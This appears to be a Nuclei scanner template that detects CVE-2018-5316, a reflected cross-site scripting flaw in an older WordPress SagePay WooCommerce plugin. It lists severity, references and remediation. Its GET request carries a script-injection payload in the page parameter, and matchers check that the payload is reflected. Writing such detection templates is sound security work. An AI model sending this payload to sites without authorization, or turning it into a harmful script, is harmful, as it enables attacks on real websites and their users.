id: CVE-2018-5316

info:
  name: WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress SagePay Server Gateway for WooCommerce before 1.0.9 is vulnerable to cross-site scripting via the includes/pages/redirect.php page parameter.
  remediation: |
    Update to the latest version of the WordPress SagePay Server Gateway for WooCommerce plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
    - https://wordpress.org/plugins/sagepay-server-gateway-for-woocommerce/#developers
    - https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5316
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5316
    cwe-id: CWE-79
    epss-score: 0.00175
    epss-percentile: 0.54619
    cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: patsatech
    product: sagepay_server_gateway_for_woocommerce
    framework: wordpress
  tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script>"><script>alert(document.domain)</script>'
          - 'Authenticate your card'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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